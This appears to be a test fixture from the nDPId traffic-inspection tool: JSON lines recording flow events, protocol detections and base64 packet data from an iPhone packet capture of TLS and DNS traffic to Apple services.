+00443{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":377826,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAG\/2TAqAIRX2UZNcWQAbugppinAAAAALDC\/\/8BIgAAAgQFtAEDAwcBAQgKEd\/nTAAAAAAEAgAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":64,"source":"iphone.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1582454598385,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.130.2.46","src_port":50577,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":385187,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGZE\/AqAIREYICLsWRAbsZOusXAAAAALDC\/\/+bAAAAAgQFtAEDAwcBAQgKEd\/nUwAAAAAEAgAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":65,"source":"iphone.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1582454598387,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.253.105.202","src_port":49152,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":387073,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAG\/DfAqAIREf1pysAAAFAslesxAAAAALDC\/\/8mdwAAAgQFtAEDAwYBAQgKEd\/nTQAAAAAEAgAA"} +00436{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":402840,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADEG+34R+LmMwKgCEQG7xY+mDHMKDeq21aBScSAX2QAAAgQFrAEBCAr26Z7FEd\/m0wEDAwU="} +00423{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":404960,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGrIbAqAIREfi5jMWPAbsN6rbVpgxzC4AQBAuwVwAAAQEIChHf52v26Z7F"} +01123{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":405072,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAGqn\/AqAIREfi5jMWPAbsN6rbVpgxzC4AYBAuh0wAAAQEIChHf52v26Z7FFgMBAgABAAH8AwN8\/m8PXyQO32u1iV6RcZDnMbTrrPixNIjOuJcPKyu2YCAqbhRZg6XgGUsXaOUau6tuuVwQheEDrsOtyWvnbE4KuAA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAAB0AGwAAGHAyNi1mbWZtb2JpbGUuaWNsb3VkLmNvbQAXAAAADQAYABYEAwgEBAEFAwIDCAUIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAzACYAJAAdACAqltozl1XctQvleGh0N7IIp3TCS7HFVxwjJhj0\/2bbZgAtAAIBAQArAAkIAwQDAwMCAwEACgAKAAgAHQAXABgAGQAVAMUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00798{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":68,"source":"iphone.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":4,"flow_first_seen":1582454598252,"flow_last_seen":1582454598405,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.185.140","src_port":50575,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p26-fmfmobile.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00436{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":412214,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADUGSmlfZRk1wKgCEQG7xZCMPaCSoKaYqKBScSBNPAAAAgQFrAQCCAoi0AShEd\/nTAEDAwc="} +00627{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":412843,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"xGGLNYKpxiwDYGpkCABFAADIRW8AAEARr1PAqAIBwKgCEQA12KEAtAJjFxuBgAABAAUAAAAABG1lc3UFYXBwbGUDY29tAAABAAHADAAFAAEAAAfrAB8IbWVzdS1jZG4FYXBwbGUDY29tBmFrYWRucwNuZXQAwCwABQABAAAMoAAYCG1lc3UtY2RuDG9yaWdpbi1hcHBsZcA7wFcABQABAAAARAARBG1lc3UBZwdhYXBsaW1nwBfAewABAAEAAAAPAAQR\/WnKwHsAAQABAAAADwAEEf01yw=="} +00657{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":70,"source":"iphone.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":2,"flow_first_seen":1582454598373,"flow_last_seen":1582454598412,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":40,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":110,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":55457,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"mesu.apple.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.253.105.202"}} +00424{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":413932,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG\/3DAqAIRX2UZNcWQAbugppiojD2gk4AQBAvpMwAAAQEIChHf524i0ASh"} +01122{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":414051,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAG\/WnAqAIRX2UZNcWQAbugppiojD2gk4AYBAtyOwAAAQEIChHf524i0AShFgMBAgABAAH8AwMW\/vdiXnKGt2kAM475LRdq4DAZD5IWJivMSs32aPZe4CBY4JYmlM1Z2ggjvPRVVGQ6cbm25wGpqmGifvQqpkiZFQA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABwAGgAAF2dzcGUzNS1zc2wubHMuYXBwbGUuY29tABcAAAAjAAAADQAYABYEAwgEBAEFAwIDCAUIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAzACYAJAAdACBRvQycnSvLFzO5Ac0Wc91U3eqgFfR5Utrll4x2uEjNDgAtAAIBAQArAAkIAwQDAwMCAwEACgAKAAgAHQAXABgAGQAVAMIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00783{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":72,"source":"iphone.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":4,"flow_first_seen":1582454598377,"flow_last_seen":1582454598414,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"95.101.25.53","src_port":50576,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gspe35-ssl.ls.apple.com","ja3":"55271a105172d5f225e4704755b9b250","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":73,"source":"iphone.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1582454598416,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.253.105.202","src_port":50578,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":416547,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAG\/DfAqAIREf1pysWSAbt\/OqmMAAAAALDC\/\/8OTwAAAgQFtAEDAwcBAQgKEd\/ndwAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":74,"source":"iphone.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1582454598418,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.253.105.202","src_port":50579,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":418108,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAG\/DfAqAIREf1pysWTAbsyJO8VAAAAALDC\/\/8V2QAAAgQFtAEDAwcBAQgKEd\/neQAAAAAEAgAA"} +00437{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":426588,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADIGSjwR\/WnKwKgCEQBQwACbtSzNLJXrMqBScNC85AAAAgQFrAQCCAodNCSFEd\/nTQEDAwg="} +00436{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":427688,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADIGslMRggIuwKgCEQG7xZHfrwWiGTrrGKBSqbCWRAAAAgQFrAQCCAq1T9HeEd\/nUwEDAw4="} +00423{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":447691,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0RA0AADUGBmRfZRk1wKgCEQG7xZCMPaCToKaarYAQAOvqKgAAAQEICiLQBMUR3+du"} +02380{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":449324,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXURA4AADUGAMFfZRk1wKgCEQG7xZCMPaCToKaarYAQAOtcCQAAAQEICiLQBMYR3+duFgMDAHoCAAB2AwP7MB3Ylhf8Bjmes916ZWnzOGPYuszhpJ41UUFXi+SNbSBY4JYmlM1Z2ggjvPRVVGQ6cbm25wGpqmGifvQqpkiZFRMCAAAuACsAAgMEADMAJAAdACBmEKt79HIbQLnUjzrNZkYuOEjGdzFKsqw1qRXq4w9bFBQDAwABARcDAwA0ljir8wnOluy8B0zgMbdPObep5nnR7HaAJhstM6+gk2+lrnuD5wrdL8n5GVkdE18ZdpoV9hcDAxLgzvI5agAXt0\/jf07ibdmTKUEeRmMhrEM1GtVlxUupp9cg9SbslBYtKJaa0wT3Q7n3fJj6nRL0n33B44erSqtcAXxWyOSCmmVYqy7bcy9\/ZqcknAf7xOgb2MpPmfOh\/GkVJb\/y9davzmzWFOOdqPyRwMptmxIFSQTNQJlvfRrR72IT5\/HjFhACqUfKOqhuk7Xafo8vBqvrNGahTRTY6c+tI4UTsHFA0vUJvIno+IiQITsXfCnYml4Uv2xQjOUAe2Y\/cW1p0X+BuUDOLo1Wic0DHWyEu+tPxQh2275aPBpPvVdJU0CEGYigY4Y75QfgTlTS0AgYeIasNOwAAO3aswMWtsjrhNLDIbDODYmB1g74zQdD0dftVwJESceAPTQs3Nzd1bgtAwffH7lbOJS\/9KuTO\/0eD22ACK9E0p+39c\/71hVVdICNFReLsV0EM\/HtTV7fwi7XO8AT8H1+e537aWNU7Sljch+JEYCU7XZywmVVHo5qEkXLNc8kvJgxy2blQNJx\/1W1wF7XOpLA4sRVwo5F8jS3Who2VT1tU81QZB7TKQuceQNYlj37gGFlBq1Ihd39RKVQTnYV\/H5Y6wvXLS575JZcHskDBxEJXSYG5QinMRLvvMWO4ibsWryM0f4k8hdtRN6OEisLdLATXj4wSWMVZbsE\/AeaQREXbQQJqQR56YQkcOaBQd1g6i9HZntHr7NNmNdVgudO7Jr5RQ7A4fpA7FarhYETRj4Qs7YqleA55SLFpMO03lOS0J+LuQCzHqPQpcL1vgeAx0KZWohWUy8RyEaLjWeYdY1\/bpOekS3ec984hbODzwNEF9j2PDdf1n+UJyM71VjXFGvIg\/LE5GX9oaJnMAdkZRMgDyhOKmkDNUyiS6bGeXHTny43umPpljzopULeUHJZJXJX\/RGHZOs1pyYcTwgkmWQaN5HxpWqlOuFGDq9VPRRmMYp5Hge\/dou\/6j7hMO84QWfe5wfSGi73Qo9t8cN1gWEbVNG\/fdgqlh6Unzg3B3bDoh+UHhAJQ2ahOXeFS5Xzm5cYASgS1IUOO4wbkFx3at6f48iCDuiWP\/eCXYpjaWKv5kqvKEILikRgUJst589WqfVdS6w\/0hb+9r\/oHxMPex4TSB\/TVchrK2AF\/cS9BZeYPyi5X\/4NF2MXQEKhFtereXVK+4NboxTot3bhQRZd566HxD4vqcHF1fnW4aJKd3jesYhsVMy2SCue+Y5KfRbFFY1k7KeoPUk4IuoWQGIrStG\/lkKor8HmycS\/EBVwVrmZt6Kgq2qdQwVJ9hNmKfhYq2nm734cURIhInk7p4vSYE+9Ksxh7CNMfEXEOx2ejHoWZL0waR1p4OYum+5J6hauPKdjyxJ8hu0cfb8jZm65wenrTUkHsp2iZoDhU+GVXDsHRe3EkmtCmtH0g60El1+jF3SekK\/rE702e4FfvcbNiJkwF9cwP2jaq2wnO\/LmW96JyGE2rpz+L6diJGgkeP81BLya0a9IZ4Z5hQfNZvtj6aE4YAUmvP+Px4mMhNCmF0s4XabUIaUI+8A\/1kEO3givAjhFbj3a\/Zc0mfbdQnlREOG2b45q7n67EmIvPh1TiGPx4rU9J4CS+qcLsJJAQWU1hLc+0dKW8m6T9Z6KdN4CLv7BM8hNVxz0C7T9e1k+mm41yvjp617Y"} +00824{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":78,"source":"iphone.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":6,"flow_first_seen":1582454598377,"flow_last_seen":1582454598449,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"95.101.25.53","src_port":50576,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"gspe35-ssl.ls.apple.com","ja3":"55271a105172d5f225e4704755b9b250","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02377{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":449374,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXURA8AADUGAMBfZRk1wKgCEQG7xZCMPaYzoKaarYAQAOu5FAAAAQEICiLQBMYR3+duyZGX8jvKHfYO4irLOTOuIwVrfsn8cq7ShQ+rERgUhgqi6YmNFlT1tEHLKZr\/xBPk5ivvhQoEjta\/5ln7FGkX0G1hifL2iGMdqH4zeXMd66Gn5w3vrK84Hp36TjUG0PG5j1PqDUpE+nKsrrdiXXTY4Lu6jAtZcIGsD9zvRTsEnWLiyUZO1nDafPfwjNHs7l3dq\/tmFUmfedrLOjVPeE91NaK+EzLweJsfU2IYoeXWWYlvTIFWI8H8Jh+ABLwLzElfiLKr6HoJf26rjCeNVmDi60RMCQCAILyxEAxSRAzecVI9X0wh+0CbyTM0Y0tWBPHM97lKnVLGAY5RjNihQ1S\/S\/+cDoikjNb1EPO59tDCzwRpuxbG8jMuwx2+u4Cdr3i2K6sKwnbJYKqFopcpbPhqvJ3+kHvBTN3a11hQBNCDKj50MJNqciDB0XJt\/yGGeuQAoUjNjYCWgf02z+8ZiJYMi7WbjsP+lo3c0jFHLu3nijBPEocqsCzjg\/8psGV1DZFikyR\/JIh0WiDtkHaPpJstEo7Hl0POAnv0wQDpEoBq+d794F7yW6Hpa3fJ\/kXSMGF5xEsKCqj+tU7esDEN47XEv01WaHmexrR1smom9ctPkTzfbOJbXvZO8ZMYSyEebTvL3mg2\/GzDH4PWS21b5YmHXR2CFfrxSJ6aLzZBRR+jV38LPa1gaNaYDfIBEW4FF4BKS4jycvYyZVPdcaNYSJ8n6ljDUvxY7vDslKir7QfcoG9PCX1Hg4NeXr4kXy2H0lqqt7bTy4LTs6Xb\/SRNHcNQhxvkanyNZWy35O\/bGFco7+K4vsa8jMMZQQypTm9Z5OlQZpPKpBJQMsK\/jklORBG\/vsxrDEimgNk00N6kJ8Jus9MTg1ybR8q+oPkdFk7J\/VqsoCzIT3NdF0ZNqbwoJwSoxFV71EMS53AlpUVslzou8u\/KPAL8\/UDMNxPu6hKu2ahKbLO2sx0v38++eqTI\/eG2KXiUzOqq7E+DLRawF9Kg+0UIMmvF2Zw+xibMbh0xT5ju9GeeFHKUI04y8JDULZXfhU1aA9JQHhxedp8UHVs9Z3ERqhDe6HcFXSn09LjTmicIbxVR9P0IYXU\/N41sUhFDWeCF6tlkKHIdIZSfhRdlvqY2Elvt7hBRL6rlZr4CW9LUytEf8CTZkAwuTUiyYwvZ6tDzwS2+7mv+S0zCYhvbpPgrlTE8f\/8lpgLMEGY5dTD2TCGAkXbRJj3Uc5cu5l\/IJvomHJS+feST9fBjUJCFiz8e6s5HVLmq8FlkyHWuz5xt0mVHXfkX8k6PYQRAzxgfrFxSpRCUi4CHL6k5jx0Tn1JpzNVu2arVC7NCB5CZSLqvCWZ9L83uwTdkXfuuW6Lu6Ji8UQSDQNrKgq538gQnBVbcs46CzmvzuPpjWjXvnrzn0U95nZ+4P6GuTE8qv2jIVSeRG8x7i8\/tl8WuEBYDg8iCApyrnYHv3qfp2iXaBAdk1yen\/z5f9QVm0\/zgqYLWSjsaPg3HqTWk\/bqAVfos8J2lmflut1X4h\/XbAzFwWu4Z39laa9jJvPbH6Z86rnkWEVIfnSDJ99wIv7teVIuhBjRYWBjYHU7BowK5DmcOsw5vttcV7nbRFj1yKK1SAhG1v0wwk\/ZRSgrQz6rAYg2qfhFce1WyPy9ebxR9HZIYx+E+PuV32eQ5UUgDn6PkJWd6i+Wxtngi31RNqpYYfy10xvvBSUuHLq0i6lso1bctbo7nuLzsyOU2NQv5nMTJWYba5BtK3zg1ZWLpTjytpP3W7SsJUZ8zzE4f2rkalNVFjyNZnFonNBNM5oIZbbH9ROxSO6jjTh3j9b48atfzrw+zKL2zmeHhJkxYqgJsedvdgnRVFp5ll5IRC65Iju62h6b8tftHw1Yc6W\/D+ADnIWVKPbT2bJtq5Nql1EmIa8FZ2FKK"} +02082{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":449499,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"xGGLNYKpxiwDYGpkCABFAgT0RBAAADUGAZ9fZRk1wKgCEQG7xZCMPavToKaarYAYAOvuyQAAAQEICiLQBMYR3+du8Ig3\/fi96m2oAg+EtKElv0O00btkWjeqsgPZBgpVAbZzZI4d88yrnp6ivOCjb6OwMlntww1S14MJHoHwBgJXO2kcXeXRxYDs1g7o1p8uFAtyv2kZaQLFpMctATNWlCpQUlcKXPear5j9IzTHIA3yKy6p\/rdeokyGi\/Ul\/2a1cgg8BCEBOROS\/4xWvQpOCMf+RwLbyPYLlKcLddBDeNyGs\/PVaXJwch0+uYo5ERDqUdtWQ+BzAqrNok3mL\/KEezSa6ktIRR\/80db4rpwUHuuDKMUynNwB9qj5YK7wddEFxSkPwwuN8U0oFOAtQso01MKse2nTGbQCyb73BcbinudCzXWyg4\/a5s0g47MEVtzQysl7tKTFyhwxK7YfF3us6\/4HG80Kpo2O7XT89nlFN44JX+e1JPSfBV1g28xXZfRg1kGd8SoAtVNNc+W09w2WkHo99IEMdFGMjKEkMAUqplMzqnGRazIyE+NPBbLzi4KJGE6qcex42SMidV2T3S8KoKHk8g6uXodbon7P0nQd2mTY8rQFDbd+hlio9S3OeREvo0AAiFnFO5oVb7wt8H8r7biJHyEXuy7Iqb7bIB8bcpjh64QoxWzFye0FxVRBWbxoGMU4KHM+Y+gzAdvUS4kG6ZLR4ELw0+0+FFTP6mvLsMFsoU8eAJnSho0U5Fo7dSBthcSMbnQeleUmRenyh7zMFGZ8QC\/vB0z0L0lQJkAVgqoHTYn0Sssc\/l9oiYt9KartvN6UHyRu5q3INRKqxGgfbg+OMcS1WfqZS3ItQPRdeqy8uwmsHpkKrjBNDGczIUHE+\/oVjGGraXbIA4u3HXkYORj027AtKElOwM6sVBtg2UfthWXzAa6SEI7xYP\/F4RElFK1\/I7KUL+FrxWrBLyTcm9H7gOiACqrDoW7or9Z9jJf35i+U06ndO\/tRO9o124h9ChCm9S5Z+a5af7hWtK\/PMfPAawRoNl1t3ANlvISjcpvdF\/\/XmvqAnx9J8GmSM\/gPHvKQ0FKONCfhxbGOtlfVQ3Rwx7fhiZsjCqiXbCrWTs30\/o8R5saBw7URp2JMAfU7L2lNqvw5+uFpxwEky4yT\/FEy3pjvTumtn2G12rNlVGu0lars5oefezExu8xjKVE4LG7rs0Ov8PY6jHKcxhB7ZRupf4p0C+H0o5cgIZ3kLbxovsYNVBdltRsw55MgiFEGKNWVB666Gz1AoDMxiMSLbd7g0nQ3uVahJ6iXv0F89vAxb+o4\/Di3IKHYQD0c9+PvH562d1rtO0QkuorIvKP+5JBlK69rHoVsKqOwn2DJt\/ZvkyJkTK4U0UhnYh++DKOcewijrt3YZgmd8PK0Ddogb9y3urTzjkUm5k+6qCT+V5JPICJYvE2ogjUfGACoIXaU5xv7wqfrbquqQZEgLP13WENyMjZv7xQtgKuEo22+FufdmxHVfdyWj0NNxNBf6GQZDLmu9YeUKNXHz6aVG+jLgv1\/U5zbIRb6JaQbbHLh7Sr18HawMXNn3BiUjhUAYgMkJuBwFiK3ehD22oEcp\/DfD\/Sn0wL4houeSNuZvPuN3\/IGfQ8p5kU+hv5GridH4tSrq6mjfw\/uutdjPnb1UqCZfHp3P9M20fcnYNVXax7zLXYpyQ=="} 